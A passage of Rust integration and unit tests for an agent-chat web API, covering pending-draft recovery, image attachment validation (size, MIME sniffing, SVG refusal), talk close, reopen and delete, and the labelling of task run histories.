9587        assert_eq!(edited.status, 200, "{}", edited.body);
9588        assert!(edited.json()["thinking"].as_bool().unwrap());
9589
9590        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9591        for _ in 0..SETTLE_STEPS {
9592            if detail["turns"].as_array().expect("turns").len() == 2 {
9593                break;
9594            }
9595            tokio::time::sleep(Duration::from_millis(10)).await;
9596            detail = f.get(&format!("/api/talks/{id}")).await.json();
9597        }
9598        let turns = detail["turns"].as_array().expect("turns");
9599        assert_eq!(
9600            turns.len(),
9601            2,
9602            "the recovered draft must run once: {detail}"
9603        );
9604        assert_eq!(turns[0]["body"], "corrected");
9605        assert_eq!(detail["pending"], "");
9606    }
9607
9608    #[tokio::test]
9609    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9610        let tmp = TempDir::new().expect("tempdir");
9611        let repo = tmp.path().join("repo");
9612        std::fs::create_dir_all(&repo).expect("repo dir");
9613        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9614        let f = Fixture::with_repo(repo).await;
9615        let id = f.post("/api/talks", None).await.json()["id"]
9616            .as_str()
9617            .expect("id")
9618            .to_owned();
9619        let store = f.talks();
9620        let mut recovered = store.get(&id).expect("opened talk");
9621        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9622            .expect("persist pending draft without a live turn");
9623
9624        let refused = f
9625            .post(
9626                &format!("/api/talks/{id}/say"),
9627                Some(r#"{"text":"new message"}"#),
9628            )
9629            .await;
9630        assert_eq!(refused.status, 409, "{}", refused.body);
9631        assert!(refused.body.contains("resume"), "{}", refused.body);
9632        let saved = store.get(&id).expect("draft remains after refusal");
9633        assert!(saved.turns.is_empty());
9634        assert_eq!(saved.pending, "saved before restart");
9635
9636        let say_path = format!("/api/talks/{id}/say");
9637        let (first, second) = tokio::join!(
9638            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9639            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9640        );
9641        assert_eq!(first.status, 409, "{}", first.body);
9642        assert_eq!(second.status, 409, "{}", second.body);
9643        let saved = store
9644            .get(&id)
9645            .expect("draft remains after concurrent refusals");
9646        assert!(saved.turns.is_empty());
9647        assert_eq!(saved.pending, "saved before restart");
9648
9649        let resumed = f
9650            .post(&format!("/api/talks/{id}/pending/resume"), None)
9651            .await;
9652        assert_eq!(resumed.status, 202, "{}", resumed.body);
9653        let duplicate = f
9654            .post(&format!("/api/talks/{id}/pending/resume"), None)
9655            .await;
9656        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9657
9658        for _ in 0..SETTLE_STEPS {
9659            if store.get(&id).expect("talk").turns.len() == 2 {
9660                break;
9661            }
9662            tokio::time::sleep(Duration::from_millis(10)).await;
9663        }
9664        let finished = store.get(&id).expect("finished talk");
9665        assert_eq!(finished.turns.len(), 2, "{finished:?}");
9666        assert_eq!(finished.turns[0].body, "saved before restart");
9667        assert!(finished.pending.is_empty());
9668    }
9669
9670    #[tokio::test]
9671    async fn an_image_only_recovered_draft_resumes_without_text() {
9672        let (_tmp, _repo, f) = talk_fixture().await;
9673        let id = f.post("/api/talks", None).await.json()["id"]
9674            .as_str()
9675            .expect("id")
9676            .to_owned();
9677        let uploaded = f
9678            .post_bytes(
9679                &format!("/api/talks/{id}/attachments"),
9680                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9681                PNG_BYTES,
9682            )
9683            .await;
9684        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9685        let attachment = f
9686            .talks()
9687            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9688            .expect("attachment metadata")
9689            .expect("stored attachment");
9690        let store = f.talks();
9691        let mut recovered = store.get(&id).expect("opened talk");
9692        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9693
9694        let resumed = f
9695            .post(&format!("/api/talks/{id}/pending/resume"), None)
9696            .await;
9697        assert_eq!(resumed.status, 202, "{}", resumed.body);
9698        for _ in 0..SETTLE_STEPS {
9699            if store.get(&id).expect("talk").turns.len() == 2 {
9700                break;
9701            }
9702            tokio::time::sleep(Duration::from_millis(10)).await;
9703        }
9704        let finished = store.get(&id).expect("finished talk");
9705        assert_eq!(finished.turns.len(), 2, "{finished:?}");
9706        assert!(finished.turns[0].body.is_empty());
9707        assert_eq!(finished.turns[0].attachments.len(), 1);
9708        assert!(finished.pending_attachments.is_empty());
9709    }
9710
9711    #[tokio::test]
9712    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9713        let (_tmp, _repo, f) = talk_fixture().await;
9714        let id = f.post("/api/talks", None).await.json()["id"]
9715            .as_str()
9716            .expect("id")
9717            .to_owned();
9718        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9719        assert_eq!(closed.status, 200, "{}", closed.body);
9720        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9721            .expect("serialize closed talk");
9722        for (path, body) in [
9723            (format!("/api/talks/{id}/pending/resume"), None),
9724            (
9725                format!("/api/talks/{id}/pending/clear"),
9726                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9727            ),
9728            (
9729                format!("/api/talks/{id}/pending/edit"),
9730                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9731            ),
9732            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9733        ] {
9734            let response = f.post(&path, body).await;
9735            assert_eq!(response.status, 409, "{}", response.body);
9736        }
9737        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9738            .expect("serialize closed talk");
9739        assert_eq!(
9740            after_clear, before_clear,
9741            "clear must not rewrite a closed talk"
9742        );
9743    }
9744
9745    /// Keeps both claims observable long enough to exercise the distinction
9746    /// between one busy talk and a globally locked Chat surface.
9747    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9748
9749    #[tokio::test]
9750    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9751        let tmp = TempDir::new().expect("tempdir");
9752        let repo = tmp.path().join("repo");
9753        std::fs::create_dir_all(&repo).expect("repo dir");
9754        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9755        let f = Fixture::with_repo(repo).await;
9756        let id_a = f.post("/api/talks", None).await.json()["id"]
9757            .as_str()
9758            .unwrap()
9759            .to_owned();
9760        let id_b = f.post("/api/talks", None).await.json()["id"]
9761            .as_str()
9762            .unwrap()
9763            .to_owned();
9764
9765        let a = f
9766            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9767            .await;
9768        assert_eq!(a.status, 202, "{}", a.body);
9769        assert_eq!(a.json()["thinking"], true);
9770        let b = f
9771            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9772            .await;
9773        assert_eq!(b.status, 202, "{}", b.body);
9774        assert_eq!(b.json()["thinking"], true);
9775
9776        let listed = f.get("/api/talks").await.json();
9777        for id in [&id_a, &id_b] {
9778            let view = listed
9779                .as_array()
9780                .unwrap()
9781                .iter()
9782                .find(|talk| talk["id"] == *id)
9783                .unwrap();
9784            assert_eq!(view["thinking"], true, "{listed}");
9785        }
9786        let repeated = f
9787            .post(
9788                &format!("/api/talks/{id_a}/say"),
9789                Some(r#"{"text":"again"}"#),
9790            )
9791            .await;
9792        assert_eq!(repeated.status, 202, "{}", repeated.body);
9793        assert_eq!(repeated.json()["pending"], "again");
9794    }
9795
9796    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
9797    /// few more, since real uploads are never exactly eight bytes.
9798    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9799
9800    #[tokio::test]
9801    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9802        let f = Fixture::start().await;
9803        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9804
9805        let res = f
9806            .post_bytes(
9807                &format!("/api/talks/{id}/attachments"),
9808                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9809                PNG_BYTES,
9810            )
9811            .await;
9812        assert_eq!(res.status, 201, "{}", res.body);
9813        let body = res.json();
9814        assert_eq!(body["name"], "shot.png");
9815        assert_eq!(body["mime"], "image/png");
9816        assert_eq!(body["bytes"], PNG_BYTES.len());
9817        let att_id = body["id"].as_str().expect("id").to_owned();
9818        assert_eq!(
9819            att_id.len(),
9820            32,
9821            "the id must never be a client-suppliable path: {att_id}"
9822        );
9823
9824        let got = f
9825            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9826            .await;
9827        assert_eq!(got.status, 200, "{}", got.body);
9828        assert_eq!(got.header("content-type"), Some("image/png"));
9829        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9830        assert_eq!(got.bytes, PNG_BYTES);
9831    }
9832
9833    #[tokio::test]
9834    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9835        let f = Fixture::start().await;
9836        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9837
9838        // SVG can carry a `<script>`, so it is never on the whitelist even
9839        // though it is a real IANA image type.
9840        let svg = f
9841            .post_bytes(
9842                &format!("/api/talks/{id}/attachments"),
9843                &[("Content-Type", "image/svg+xml")],
9844                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9845            )
9846            .await;
9847        assert!(
9848            (400..500).contains(&svg.status),
9849            "svg must be refused: {} {}",
9850            svg.status,
9851            svg.body
9852        );
9853        assert!(svg.body.contains("SVG"), "{}", svg.body);
9854
9855        let text = f
9856            .post_bytes(
9857                &format!("/api/talks/{id}/attachments"),
9858                &[("Content-Type", "text/plain")],
9859                b"just some text",
9860            )
9861            .await;
9862        assert!(
9863            (400..500).contains(&text.status),
9864            "an unlisted type must be refused: {} {}",
9865            text.status,
9866            text.body
9867        );
9868
9869        // The declared type is a real png, but the size check runs before
9870        // the bytes are even looked at.
9871        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9872        let big = f
9873            .post_bytes(
9874                &format!("/api/talks/{id}/attachments"),
9875                &[("Content-Type", "image/png")],
9876                &oversized,
9877            )
9878            .await;
9879        assert_eq!(
9880            big.status,
9881            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9882            "{}",
9883            big.body
9884        );
9885    }
9886
9887    #[tokio::test]
9888    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9889        let f = Fixture::start().await;
9890        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9891
9892        // A whitelisted `Content-Type`, but bytes that are not actually a
9893        // png - the declared header alone is never trusted.
9894        let res = f
9895            .post_bytes(
9896                &format!("/api/talks/{id}/attachments"),
9897                &[("Content-Type", "image/png")],
9898                b"<html>not a picture</html>",
9899            )
9900            .await;
9901        assert!((400..500).contains(&res.status), "{}", res.body);
9902    }
9903
9904    #[tokio::test]
9905    async fn an_unknown_attachment_id_is_a_404() {
9906        let f = Fixture::start().await;
9907        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9908
9909        let res = f
9910            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9911            .await;
9912        assert_eq!(res.status, 404, "{}", res.body);
9913    }
9914
9915    #[tokio::test]
9916    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9917        let f = Fixture::start().await;
9918        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9919
9920        let uploaded = f
9921            .post_bytes(
9922                &format!("/api/talks/{id}/attachments"),
9923                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9924                PNG_BYTES,
9925            )
9926            .await;
9927        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9928        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9929
9930        let res = f
9931            .post(
9932                &format!("/api/talks/{id}/say"),
9933                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9934            )
9935            .await;
9936        assert_eq!(res.status, 202, "{}", res.body);
9937        let queued = res.json();
9938        let turns = queued["turns"].as_array().expect("turns array");
9939        assert_eq!(
9940            turns.len(),
9941            1,
9942            "an empty body with an attachment is still a turn: {queued}"
9943        );
9944        assert_eq!(turns[0]["who"], "operator");
9945        assert_eq!(turns[0]["body"], "");
9946        let atts = turns[0]["attachments"]
9947            .as_array()
9948            .expect("attachments array");
9949        assert_eq!(atts.len(), 1);
9950        assert_eq!(atts[0]["id"], att_id);
9951        assert_eq!(atts[0]["mime"], "image/png");
9952
9953        // Not only in the response: `record` flushes to disk before the
9954        // agent's own turn is even spawned.
9955        let on_disk = f.talks().get(&id).expect("get");
9956        assert_eq!(on_disk.turns[0].attachments.len(), 1);
9957        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9958    }
9959
9960    #[tokio::test]
9961    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9962        let f = Fixture::start().await;
9963        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9964
9965        let res = f
9966            .post(
9967                &format!("/api/talks/{id}/say"),
9968                Some(&format!(
9969                    r#"{{"text":"hi","attachments":["{}"]}}"#,
9970                    "a".repeat(32)
9971                )),
9972            )
9973            .await;
9974        assert!((400..500).contains(&res.status), "{}", res.body);
9975        assert!(res.body.contains("unknown attachment"), "{}", res.body);
9976
9977        let on_disk = f.talks().get(&id).expect("get");
9978        assert!(
9979            on_disk.turns.is_empty(),
9980            "a rejected attachment id must not partially record the turn: {:?}",
9981            on_disk.turns
9982        );
9983    }
9984
9985    #[tokio::test]
9986    async fn talk_close_makes_the_talk_refuse_further_turns() {
9987        let f = Fixture::start().await;
9988        let id = seed_talk(&f, "20260904-014455-cd34", "open");
9989
9990        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9991        assert_eq!(closed.status, 200, "{}", closed.body);
9992        assert_eq!(closed.json()["status"], "closed");
9993
9994        // Idempotent: closing an already-closed talk is not an error.
9995        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9996        assert_eq!(closed_again.status, 200);
9997        assert_eq!(closed_again.json()["status"], "closed");
9998
9999        let said = f
10000            .post(
10001                &format!("/api/talks/{id}/say"),
10002                Some(r#"{"text":"too late"}"#),
10003            )
10004            .await;
10005        assert_eq!(said.status, 409, "{}", said.body);
10006    }
10007
10008    #[tokio::test]
10009    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
10010        let (_tmp, _repo, f) = talk_fixture().await;
10011        let id = f.post("/api/talks", None).await.json()["id"]
10012            .as_str()
10013            .expect("id")
10014            .to_owned();
10015        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10016        assert_eq!(closed.status, 200, "{}", closed.body);
10017
10018        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10019        assert_eq!(reopened.status, 200, "{}", reopened.body);
10020        assert_eq!(reopened.json()["status"], "open");
10021
10022        // Idempotent: reopening an already-open talk is not an error.
10023        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10024        assert_eq!(reopened_again.status, 200);
10025        assert_eq!(reopened_again.json()["status"], "open");
10026
10027        let said = f
10028            .post(
10029                &format!("/api/talks/{id}/say"),
10030                Some(r#"{"text":"still there?"}"#),
10031            )
10032            .await;
10033        assert_eq!(
10034            said.status, 202,
10035            "a reopened talk accepts turns again: {}",
10036            said.body
10037        );
10038    }
10039
10040    #[tokio::test]
10041    async fn talk_reopen_on_an_unknown_id_is_404() {
10042        let f = Fixture::start().await;
10043        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
10044        assert_eq!(res.status, 404, "{}", res.body);
10045    }
10046
10047    #[tokio::test]
10048    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
10049        let f = Fixture::start().await;
10050        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
10051
10052        let deleted = f.delete(&format!("/api/talks/{id}")).await;
10053        assert_eq!(deleted.status, 204, "{}", deleted.body);
10054
10055        let after = f.get(&format!("/api/talks/{id}")).await;
10056        assert_eq!(after.status, 404, "{}", after.body);
10057
10058        let listed = f.get("/api/talks").await.json();
10059        assert!(
10060            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
10061            "a deleted talk must not linger in the list: {listed}"
10062        );
10063    }
10064
10065    #[tokio::test]
10066    async fn talk_delete_on_an_unknown_id_is_404() {
10067        let f = Fixture::start().await;
10068        let res = f.delete("/api/talks/nonexistent-id").await;
10069        assert_eq!(res.status, 404, "{}", res.body);
10070    }
10071
10072    /// A task's page lists every run it ever had, in order, and says what kind
10073    /// of attempt each was - including a resume, which re-pushes the same run
10074    /// id, and a run whose record this build cannot read.
10075    #[tokio::test]
10076    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
10077        let f = Fixture::start().await;
10078        let (a, b, gone) = (
10079            "20260902-140501-aaaa",
10080            "20260902-140502-bbbb",
10081            "20260902-140503-cccc",
10082        );
10083        write_run(&f.runs(), a, RunStatus::Stalled);
10084        let mut review = RunState::new(
10085            PathBuf::from("/repo/magi"),
10086            "main".to_owned(),
10087            "0123456789abcdef".to_owned(),
10088            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
10089                .to_owned(),
10090            Config::default(),
10091        );
10092        review.id = b.to_owned();
10093        review.status = RunStatus::Merged;
10094        write_state(&f.runs(), &review);
10095
10096        let mut task = Task::new(
10097            "retry".to_owned(),
10098            "Do the thing".to_owned(),
10099            PathBuf::from("/repo/magi"),
10100            Source::Human,
10101        );
10102        task.start(a.to_owned());
10103        task.stall("quota");
10104        task.start(a.to_owned());
10105        task.start(b.to_owned());
10106        task.start(gone.to_owned());
10107        f.queue().put(&mut task).expect("file the task");
10108
10109        let res = f.get(&format!("/api/queue/{}", task.id)).await;
10110        assert_eq!(res.status, 200, "{}", res.body);
10111        let v = res.json();
10112        let h = v["history"].as_array().expect("history");
10113        assert_eq!(h.len(), 4, "{v}");
10114        assert_eq!(h[0]["kind"], "competition");
10115        assert_eq!(h[0]["status"], "stalled");
10116        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
10117        assert_eq!(h[1]["kind"], "resume", "{v}");
10118        assert!(
10119            h[0]["outcome"]
10120                .as_str()
10121                .unwrap()
10122                .contains("unknown. Pass #2"),
10123            "an earlier pass of a resumed run must not claim the final outcome: {v}"
10124        );
10125        assert!(
10126            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
10127            "{v}"
10128        );
10129        assert!(
10130            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10131            "an unrecorded cause must not be narrated as an operator park: {v}"
10132        );
10133        assert_eq!(h[2]["kind"], "review");
10134        assert!(
10135            h[2]["description"]
10136                .as_str()
10137                .unwrap()
10138                .contains("magi/aaaa/A")
10139        );
10140        assert_eq!(h[2]["status"], "merged");
10141        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10142        assert_eq!(v["runs_unreadable"], 1);
10143        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10144        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10145        assert_eq!(nodes[4]["note"], "unreadable");
10146        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10147        assert_eq!(v["instruction"], "Do the thing");
10148        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10149
10150        // The run's own page links back to the task.
10151        let run = f.get(&format!("/api/runs/{a}")).await.json();
10152        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10153
10154        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10155    }
10156
10157    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10158        let mut s = RunState::new(
10159            PathBuf::from("/repo/magi"),
10160            "main".to_owned(),
10161            "0123456789abcdef".to_owned(),
10162            "Do it".to_owned(),
10163            Config::default(),
10164        );
10165        s.status = status;
10166        edit(&mut s);
10167        s
10168    }
10169
10170    fn flow_task(runs: &[&str]) -> Task {
10171        let mut t = Task::new(
10172            "t".to_owned(),
10173            "Do it".to_owned(),
10174            PathBuf::from("/repo/magi"),
10175            Source::Human,
10176        );
10177        for r in runs {
10178            t.start((*r).to_owned());
10179        }
10180        t
10181    }
10182
10183    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10184        let h = task_history(task, |id| {
10185            states
10186                .iter()
10187                .find(|(i, _)| *i == id)
10188                .and_then(|(_, s)| s.clone())
10189        });
10190        task_flow(task, &h, 5)
10191    }
10192
10193    #[test]
10194    fn flow_opens_with_the_chat_that_queued_the_task() {
10195        let mut t = flow_task(&[]);
10196        t.source = Source::Agent {
10197            run: "a b/c".to_owned(),
10198            node: crate::queue::CHAT_NODE.to_owned(),
10199        };
10200        let f = flow_for(&t, &[]);
10201        assert_eq!(f.nodes[0].key, "chat");
10202        assert_eq!(f.nodes[0].kind, "chat");
10203        assert_eq!(
10204            f.nodes[0].label,
10205            format!("Chat {}", crate::queue::short("a b/c"))
10206        );
10207        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10208        assert_eq!(f.nodes[1].key, "start");
10209        assert_eq!(
10210            f.edges[0],
10211            FlowEdge {
10212                from: "chat".to_owned(),
10213                to: "start".to_owned(),
10214                label: "queued from chat".to_owned(),
10215                attempt: AttemptCost::None,
10216            }
10217        );
10218    }
10219
10220    #[test]
10221    fn flow_has_no_chat_box_for_other_sources() {
10222        for source in [
10223            Source::Human,
10224            Source::Issue {
10225                number: 3,
10226                repo: "o/r".to_owned(),
10227            },
10228            Source::Agent {
10229                run: "20260904-014455-ab12".to_owned(),
10230                node: "implement".to_owned(),
10231            },
10232        ] {
10233            let mut t = flow_task(&[]);
10234            t.source = source;
10235            let f = flow_for(&t, &[]);
10236            assert_eq!(f.nodes[0].key, "start");
10237            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10238            assert!(f.edges.iter().all(|e| e.from != "chat"));
10239        }
10240    }
10241
10242    const FA: &str = "20260902-140501-aaaa";
10243    const FB: &str = "20260902-140502-bbbb";
10244
10245    #[test]
10246    fn flow_follows_blocked_retry_merged_to_done() {
10247        let mut t = flow_task(&[FA, FB]);
10248        t.status = TaskStatus::Done;
10249        let f = flow_for(
10250            &t,
10251            &[
10252                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10253                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10254            ],
10255        );
10256        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10257        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10258        assert_eq!(f.edges.len(), 3);
10259        assert_eq!(f.edges[0].label, "claimed");
10260        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10261        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10262        assert_eq!(f.edges[2].label, "merged \u{2192} done");
10263        assert_eq!(
10264            f.nodes[2].href.as_deref(),
10265            Some("#/runs/20260902-140502-bbbb")
10266        );
10267        assert!(f.nodes[2].decided);
10268    }
10269
10270    #[test]
10271    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10272        let quota = || {
10273            flow_run(RunStatus::Stalled, |s| {
10274                s.quota.push(crate::run::QuotaLoss {
10275                    seat: "judge-1".to_owned(),
10276                    node: "judge".to_owned(),
10277                    at: Timestamp::now(),
10278                    reset: None,
10279                })
10280            })
10281        };
10282        let mut t = flow_task(&[FA, FA]);
10283        t.status = TaskStatus::Queued;
10284        let f = flow_for(&t, &[(FA, Some(quota()))]);
10285        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10286        assert_eq!(f.nodes[1].note, Some("interrupted"));
10287        assert_eq!(
10288            f.nodes[1].status, None,
10289            "no outcome copied onto an earlier pass"
10290        );
10291        assert_eq!(
10292            f.edges[1].attempt,
10293            AttemptCost::Unknown,
10294            "a resume does not prove the earlier pass was refunded"
10295        );
10296        assert!(f.edges[1].label.contains("resume the same run"));
10297        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10298        assert_eq!(
10299            f.edges[2].label,
10300            "stalled after a resume, refund unknown \u{2192} queued"
10301        );
10302        assert!(!f.nodes[2].decided, "a stall is not a decision");
10303        assert_eq!(f.nodes[2].note, Some("no verdict"));
10304    }
10305
10306    #[test]
10307    fn flow_single_pass_quota_stall_is_refunded() {
10308        let t = flow_task(&[FA]);
10309        let f = flow_for(
10310            &t,
10311            &[(
10312                FA,
10313                Some(flow_run(RunStatus::Stalled, |s| {
10314                    s.quota.push(crate::run::QuotaLoss {
10315                        seat: "judge-1".to_owned(),
10316                        node: "judge".to_owned(),
10317                        at: Timestamp::now(),
10318                        reset: None,
10319                    })
10320                })),
10321            )],
10322        );
10323        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10324    }
10325
10326    #[test]
10327    fn flow_parked_refunds_and_stall_without_quota_spends() {
10328        let mut t = flow_task(&[FA]);
10329        t.status = TaskStatus::Queued;
10330        let f = flow_for(
10331            &t,
10332            &[(
10333                FA,
10334                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10335            )],
10336        );
10337        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10338        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10339        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10340        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10341        assert!(!f.nodes[1].decided);
10342    }
10343
10344    #[test]
10345    fn flow_keeps_an_unreadable_run_as_its_own_node() {
10346        let t = flow_task(&[FA, FB]);
10347        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10348        assert_eq!(f.nodes[1].note, Some("unreadable"));
10349        assert!(!f.nodes[1].readable);
10350        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10351        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10352    }
10353
10354    #[test]
10355    fn flow_names_the_branch_of_a_review_only_run() {
10356        let t = flow_task(&[FA]);
10357        let f = flow_for(
10358            &t,
10359            &[(
10360                FA,
10361                Some(flow_run(RunStatus::Merged, |s| {
10362                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10363                })),
10364            )],
10365        );
10366        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10367        assert_eq!(
10368            f.nodes[1].detail.as_deref(),
10369            Some("review-only run of branch magi/x/A")
10370        );
10371    }
10372
10373    #[test]
10374    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10375        let mut t = flow_task(&[FA]);
10376        t.status = TaskStatus::Held;
10377        let pr = crate::run::PrRecord {
10378            url: "https://example.test/pr/1".to_owned(),
10379            number: 1,
10380            state: "open".to_owned(),
10381            checks: "green".to_owned(),
10382            round: 0,
10383            rounds: 3,
10384            red_at_merge: Vec::new(),
10385        };
10386        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10387        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10388        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10389        t.status = TaskStatus::Done;
10390        let f = flow_for(&t, &[(FA, Some(blocked))]);
10391        assert_eq!(f.edges[1].label, "closed by hand: task is done");
10392    }
10393
10394    #[test]
10395    fn flow_with_no_runs_goes_from_queued_to_queued() {
10396        let t = flow_task(&[]);
10397        let f = flow_for(&t, &[]);
10398        assert_eq!(f.nodes.len(), 2);
10399        assert_eq!(f.edges.len(), 1);
10400        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10401        assert_eq!(f.edges[0].attempt, AttemptCost::None);
10402    }
10403
10404    /// A run parked mid-flight keeps a non-terminal status; the page must
10405    /// still say why it stopped and that the attempt came back.
10406    #[test]
10407    fn a_parked_non_terminal_run_is_explained_as_parked() {
10408        let mut s = RunState::new(
10409            PathBuf::from("/repo/magi"),
10410            "main".to_owned(),
10411            "0123456789abcdef".to_owned(),
10412            "Do it".to_owned(),
10413            Config::default(),
10414        );
10415        s.status = RunStatus::Implementing;
10416        s.parked = true;
10417        let task = Task::new(
10418            "t".to_owned(),
10419            "Do it".to_owned(),
10420            PathBuf::from("/repo/magi"),
10421            Source::Human,
10422        );
10423        let v = task_run_view(
10424            "20260902-140501-aaaa",
10425            Some(&s),
10426            RunSlot {
10427                n: 1,
10428                resumed: false,
10429                resumed_later: None,
10430                prior: None,
10431                last: true,
10432            },
10433            &task,
10434        );
10435        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10436    }
10437
10438    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10439        let mut s = flow_run(RunStatus::Implementing, edit);
10440        s.parked = false;
10441        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10442        task_run_view(
10443            "20260902-140501-aaaa",
10444            Some(&s),
10445            RunSlot {
10446                n: 1,
10447                resumed: false,
10448                resumed_later: Some(2),
10449                prior: None,
10450                last: false,
10451            },
10452            &task,
10453        )
10454    }
10455
10456    #[test]
10457    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10458        let v = earlier_pass_view(|_| {});
10459        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10460        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10461        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10462        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10463        assert_eq!(v.exit, RunExit::Interrupted);
10464        assert_eq!(v.attempt, AttemptCost::Unknown);
10465    }
10466
10467    #[test]
10468    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
